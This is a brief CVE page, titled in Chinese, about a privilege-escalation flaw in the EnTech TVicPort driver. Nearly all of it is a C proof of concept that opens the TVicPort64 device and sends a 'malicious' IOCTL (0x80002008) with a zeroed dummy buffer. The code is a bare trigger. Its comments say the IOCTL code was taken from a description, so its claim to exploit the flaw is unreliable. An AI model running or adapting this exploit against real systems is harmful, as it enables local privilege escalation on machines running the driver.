CVE-2026-30769: EnTech TVicPort权限提升漏洞

#include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; // Vulnerable IOCTL code extracted from description DWORD ioctlCode = 0x80002008; char buffer[0x100] = {0}; // Dummy buffer for PoC // Attempt to open the vulnerable device handle hDevice = CreateFileA("\\\\.\\TVicPort64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[-] Ensure the driver is loaded.\n"); return 1; } printf("[+] Device handle opened successfully.\n"); printf("[*] Sending malicious IOCTL request (0x80002008)...\n"); // Trigger the vulnerability by sending the crafted IOCTL BOOL result = DeviceIoControl(hDevice, ioctlCode, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL sent successfully. Check for exploitation results.\n"); } CloseHandle(hDevice); return 0; }